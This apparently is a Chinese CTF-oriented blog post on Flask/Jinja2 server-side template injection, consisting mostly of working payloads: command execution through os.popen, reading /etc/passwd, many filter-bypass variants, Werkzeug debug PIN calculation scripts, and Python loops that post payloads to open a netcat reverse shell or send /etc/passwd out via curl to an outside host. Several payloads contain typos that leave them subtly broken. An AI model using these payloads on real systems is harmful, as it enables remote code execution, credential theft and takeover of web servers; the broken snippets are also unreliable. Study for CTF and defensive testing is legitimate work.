首页 > 其他分享 >SSTI 服务器端模板注入

SSTI 服务器端模板注入

时间:2023-08-09 10:11:27浏览次数:39  
标签:__ .__ 服务器端 globals __.__ SSTI class 模板 attr

SSTI 服务器端模板注入


flask基础

不正确的使用模板引擎进行渲染时,则会造成模板注入

路由

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。

渲染方法

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

常用的魔术方法和内置类

__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

__base__    //类型对象的直接基类

__bases__   //类型对象的全部基类,以元组形式,类型的实例通常没有属__bases__

__subclasses__() //继承此对象的子类,返回一个列表

__globals__ //返回一个由当前函数可以访问到的变量,方法,模块组成的字典,不包含该函数内声明的局部变量。

__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__builtins__   //返回一个由内建函数函数名组成的列表。

__getitem__(index)  //返回索引为index的值。

url_for  //可以直接和__globals__配合,如:url_for.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分

lipsum  //flask的一个方法,可以直接和__globals__配合,如:lipsum.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分

__init__   //该方法用于将对象实例化,如x.__init__.__globals__['__builtins__']
//{{''.__class__.__mro__[-1].__subclasses__()["type"].__init__.__globals__}}像这种找到了类要查看该类的方法要先__init__再用__globals__,直接用__globals__会报错

config  //查看配置文件

app

__doc__

get_flashed_messages // flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

__dic__     // 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里

current_app          应用上下文,一个全局变量。

__import__     //动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

常用注入模板

  • 文件读取

查找子类 __frozen__importlib__external.FileLoader

<class’__frozen__importlib__external.FileLoader’>

FileLoader的利用

[“get_data”](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径

读取配置文件下的flag

{{url_for.__globals__['current_app'].config.FLAG}}

{{get__flash__messages.__globals__['current_app'].config.FLAG}}

__frozen__importlib__external.FileLoader

  • 内建函数eval执行命令

内建函数:python在执行脚本时自动加载的函数

  • os模块执行命令

在其他函数中直接调用os模块

通过config,调用os

{{config.__class__.init__.globals__['os'].popen('whoami').read()}}

通过url_for,调用os

{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载os模块的子类里直接调用os模块

{{::__class__.bases__[0].__subclasses__()[199].__init__.globals__['os'].popen("ls -l /opt").read()}}

os.py

  • importlib类执行命令

可以加载第三方库,使用load_module加载os

python脚本查找_frozen_importlib.BuiltinImporter

可以加载第三方库,使用load_module加载os

{{[].class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

_frozen_importlib.BuiltinImporter

  • linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数也引入了os模块,使用外卖也可以利用这个linecache函数去执行命令

  • subprocess.Popen类执行命令

subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数

找类的下标的脚本

import json
classes="""

"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
    if "warnings.catch_warnings" in v:
        print(str(k)+"--->"+v)
#117---> <class 'warnings.catch_warnings'>

过滤bypass

过滤双大括号

过滤,即\{\{或者\}\}

{%%}使用介绍

{%%}是属于flask的控制语句,且以{%end…%}结尾,可以通过在控制语句定义变量或者写循环,判断

#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

解题思路

判断{{}}被过滤

尝试{%%}

判断语句能否正常执行

{% if 2>1 %}ssti{%endif%}
{% if".__class__ %}ssti{%endif%}

有回显ssti说明.__class__有内容

{% if".__class__.__base__.subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read()%}ssti{%endif%}

如果有回显则证明命令正常执行

无回显

SSTI盲注思路

  • 反弹shell

通过RCE反弹一个shell出来绕过无回显的页面

  • 带外注入

通过requestbin或dnslog的方式将信息传到外界

  • 纯盲注
    (别问为什么没有,问多了没好处)

反弹shell

没有回显

直接使用脚本批量执行希望执行的命令

import requests

url = ""                   #目标靶机

for i in range(300):
        try:
                data = {"coded":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.1.1 7777 -e /bin/bash").read()}}'}
                response = requests.post(url,data=data)
        except:
                pass

带外注入

import requests

url = ""                   #目标靶机

for i in range(300):
        try:
                data = {"coded":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.1.1/`cat /etc/passwd`").read()}}'}
                response = requests.post(url,data=data)
        except:
                pass

纯盲注

getitem绕过中括号过滤

__getitem__()魔术方法

__getitem__()是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。

{{''.__class__.__base__.__subclasses__().__getitem__(1)}}
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

request绕过单双引号过滤

request在flask中可以访问基于HTTP请求传递的所有信息

此request并非python的函数,而是在flask内部的函数

request.args.key       #获取get传入的key的值
request.values.x1      #所有参数
request.cookies        #获取cookies传入参数
request.headers        #获取请求头请求参数
request.from.key       #获取post传入参数(Content-Type:application/x-www-form-urlencoded
或multipart/form-data)
request.data           #获取post传入参数(Content——Type:a/b)           
request.json           #获取post传入json参数(Conten-Type:application/json)

POST提交payload

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.from.k1](request.from.k2).read()}}&k1=popen;k2=cat /etc/passwd

cookie提交构造payload

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}

cookie:

k1=popen;k2=cat /etc/passwd

过滤器绕过下划线过滤

过滤器

过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数

flask常用过滤器

length() # 获取一个序列或者字典的长度并将其返回
int(): # 将值转换为int类型;
float(): # 将值转换为float类型
lower(): # 将字符串转换为小写
upper(): # 将字符串转换为大写
reverse(): # 反转字符串;
replace(value,old,new): # 将value中的old替换为new
list(): # 将变量转换为列表类型;
string(): # 将变量转换成字符串类型
join(): # 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性

attr绕过下划线过滤

{{''.__class__.base__.__subclasses__().__getitem__(117).__init__.globals__.__getitem__('popen')('cat /etc/passwd').read()}}

  1. 使用request方法

GET提交:

URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__geitem__

POST提交:

code={{()|attr(request.args.cla)|attr(request.arg.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat /etc/passwd')|attr('read')()}}

2 .使用Unicode编码

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
  1. 使用16位编码
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[199]["["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("ls").read())}
  1. base64编码

  2. 格式化字符串

绕过点过滤

  1. 用中括号[]代替点

python语法除了可以使用点‘.’来访问对象属性外,还可以使用中括号‘[]’

{{()['__class__']['__base__']['__subclasses__'['__init__']['__globals__']['popen']('cat /etc/passwd')['read']}}
  1. 用attr()绕过

payload语句中不会用到点‘.’和中括号‘[]’

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')|attr('__getitem__')('os')|attr('popen')('cat /etc/passwd')|attr('read')()}}

绕过关键字过滤

过滤了“class”“arg”“form”“value”“int”“global”等关键字

__class__为例

  1. 字符编码
  2. 拼接“+”:‘__cl’+’ass__’
  3. 使用Jinjia2中的“~”进行拼接:{%set a=“__cla”%}{%set b=“ss__”%}
  4. 使用过滤器(reverse反转、replace替换、join拼接等):

{%set a=“__ssalc__”|reverse%}{{a}}

  1. 利用python的char():{%set chr=url_for._globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

length过滤器绕过数字过滤

过滤器length

{% set a='aaaaaaaaaaa'|length %}{{a}}                                       #10
{% set a='aaaaaaaaaaa'|length*'aaa'|length %}{{a}}                          #30
{% set a='aaaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length %}{{a}}    #117  

检验数字过滤

{{6*6}}

构造payload

{{''.__class__.base__.__subclasses__()[199].__init__.__globals__['os'].popen('ls /').read()}}

获取config文件

flask内置函数和对象

内置函数

lipsun                   #可加载第三方库
url_for                  #可返回url路径
get_flashed_message      #可获取消息

内置对象

cycler
joiner
namespace
config
request
session

可利用已加载内置函数或对象寻找被过滤字符串

可利用内置函数调用cuurent_app模块进而查看配置文件

current_app

调用current_app相当于调用flask

{{url_for.__globals__['current_app'].config}}

{{get_flasheed_messages.__globals__['current_app'].config}}

混合过滤绕过

dict()和join

dict(): #用来创建一个字典

join: #将一个序列中的参数值拼接成字符串

{%set a=dict(ssti=1)%}{{a}}                #创建字典a,键名ssti,键值1

{%set a=dict(__cla=1,ss=2)|join%}{{a}}     #创建字典a,join把参数值拼接成字符串

获取符号

利用flask内置函数和对象获取符号

{% set ssti=({}|select()|string()) %}{{ssti}}
#获取下划线
{% set ssti=(self|string()) %}{{ssti}}
#获取空格
{% set ssti=(self|string|urlencode) %}{{ssti}}
#获取百分号
{% set ssti=(app.__doc__|string) %}{{ssti}}

python debug pin码计算

1691223544435

  1. 获取用户名username
import getpass
username = getpass.getuser()
print(username)
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

/etc/passwd

  1. 获取app对象name属性

getattr(app,”__name__”,type(app).__name__)

from flask import Flask
app=Flask(__name__)

print(getattr(app,"__name__",type(app).__name__))

获取的是当前app对象的__name__属性,

若不存在则获取类的__name__属性,

默认为Flask

  1. 获取app对象module属性
import sys
from flask import Flask
import typing as t
app=Flask(__name__)

modname = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)

print(mod)
  1. mod的__file__属性

app.py文件所在路径

import sys
from flask import Flask
import typing as t
app=Flask(__name__)

modname = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)

print(getattr(mod,"__file__",None))

一般在报错中找到

  1. uuid

实际上就是当前网卡的物理地址

import uuid

print(str(hex(uuid.getnode())))
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

/sys/class/net/eth0/address

得到的是十六进制的,要将其转换为十进制

  1. get_machine_id获取

python flask版本不同,读取顺序也不同

1691224759883

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}

/etc/machine-id和/proc/sys/kernel/random/boot_id,/proc/self/cgroup /etc/machine-id + /proc/self/cgroup 或 /proc/sys/kernel/random/boot_id + /proc/self/cgroup

这里需要注意的是,做ctf一般都是docker,所以用/proc/self/cgroup的较多,但是,我遇到的是题有 /etc/machine-id + /proc/self/cgroup的,还有直接/etc/machine-id的,本人纯纯菜鸡,无从考察,遇到只能试了

uTools_1691545951627

3.6是md5

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410388611',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

3.8是sha1

import hashlib
from itertools import chain
probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]


private_bits = [
    '2485377579715',
    '26657bfd-2d70-45fa-97b3-99462feda893a978760431da5f75687bab5b1f25d9fffc9205b5acad80e2cc1bbd0df8359b36'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')


cookie_name = '__wzd' + h.hexdigest()[:20]


num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]


rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num


print(rv)

pin码的计算有

  • [GYCTF2020]FlaskApp

  • CTFshow-web801

偷懒就不写wp了(过程实在是非常心酸

标签:__,.__,服务器端,globals,__.__,SSTI,class,模板,attr
From: https://www.cnblogs.com/solitude0-c/p/17616123.html

相关文章

  • 开放windows服务器端口-----以打开端口8080为例
    本文记录两个内容:1.win7下打开端口2.服务器(2003或者其他老版的系统以2003为例)测试端口时可用telnet命令 侦听端口:C:\DocumentsandSettings\administrator>netstat-na测试端口是否开放:C:\DocumentsandSettings\administrator>telnet127.0.0.18500正在连接到127.0.0.1........
  • Hugging News #0807: ChatUI 官方 Docker 模板发布、 Hub 和开源生态介绍视频来啦!
    每一周,我们的同事都会向社区的成员们发布一些关于HuggingFace相关的更新,包括我们的产品和平台更新、社区活动、学习资源和内容更新、开源库和模型更新等,我们将其称之为「HuggingNews」。本期HuggingNews有哪些有趣的消息,快来看看吧!......
  • 计算几何模板
    namespaceComputationGeometry{constldeps=1e-8,pi=acosl(-1.0);//点/向量structvec{ldx,y;vec(ldX=0,ldY=0){x=X;y=Y;}//输入输出voidin(){scanf("%Lf%Lf",&x,&y);}voidout(){printf(&......
  • Django博客开发教程:体验django模板
    上面我们有说过,用户发送请求的时候,视图会返回一个响应,响应可以是一个重定向,一个404错误,一个XML文档,一张图片或者是一个HTML内容的网页。前面几个返回的信息比较有限,我们重点更多是放在HTML内容的网页。我们把这样的页面按规范写好,然后都放在项目根目录下的templates文件夹里,这样的......
  • Django博客开发教程:体验django模板,
    上面我们有说过,用户发送请求的时候,视图会返回一个响应,响应可以是一个重定向,一个404错误,一个XML文档,一张图片或者是一个HTML内容的网页。前面几个返回的信息比较有限,我们重点更多是放在HTML内容的网页。我们把这样的页面按规范写好,然后都放在项目根目录下的templates文件夹里,这样的......
  • ASP.NET Core 中的显示和编辑器模板
    显示模板和编辑器模板指定了自定义类型的用户界面布局。考虑下列 Address 模型:C#复制 publicclassAddress{publicintId{get;set;}publicstringFirstName{get;set;}=null!;publicstringMiddleName{get;set;}=null!;publicst......
  • 常用服务器端口有哪些,安全性怎么样
    常用的服务器端口主要用于各种网络服务和应用程序。以下是一些常见的服务器端口及其对应的服务:80-HTTP:用于常规的网页浏览,是网站访问的默认端口。443-HTTPS:用于加密的网页浏览,提供更安全的数据传输。21-FTP:用于文件传输协议,用于上传和下载文件。22-SSH:用于安全外部访问服务......
  • 1-3 多态、模板
    1多态多态分两类:静态多态:函数重载和运算符重载,即复用函数名动态多态:派生类和虚函数来实现运行时多态区别:静态多态在编译阶段确定函数地址动态多态在运行阶段确定函数地址,根据传入的对象不同确定具体的执行函数动态多态满足条件:首先要有继承关系子类要重写父类的虚......
  • 背包问题的一些模板
    01背包问题:无优化for(inti=1;i<=n;i++){for(intc=0;c<=m;c++){f[i][c]=f[i-1][c];if(c>=w[i])f[i][c]=max(f[i][c],f[i-1][c-w[i]]+v[i]);}}一维数组优化:for(inti=1;i<=n;i++){for(intc=m;c>=0;c--){......
  • 6模板语法
    创建一个vue3项目npminitvue@latest启动cdvue-demonpminstallnpmrundev修改App.vue这时候打开时空白再修改<template>{{msg}}</template><script>exportdefault{data(){return{msg:"神奇的语法"}}}</script>......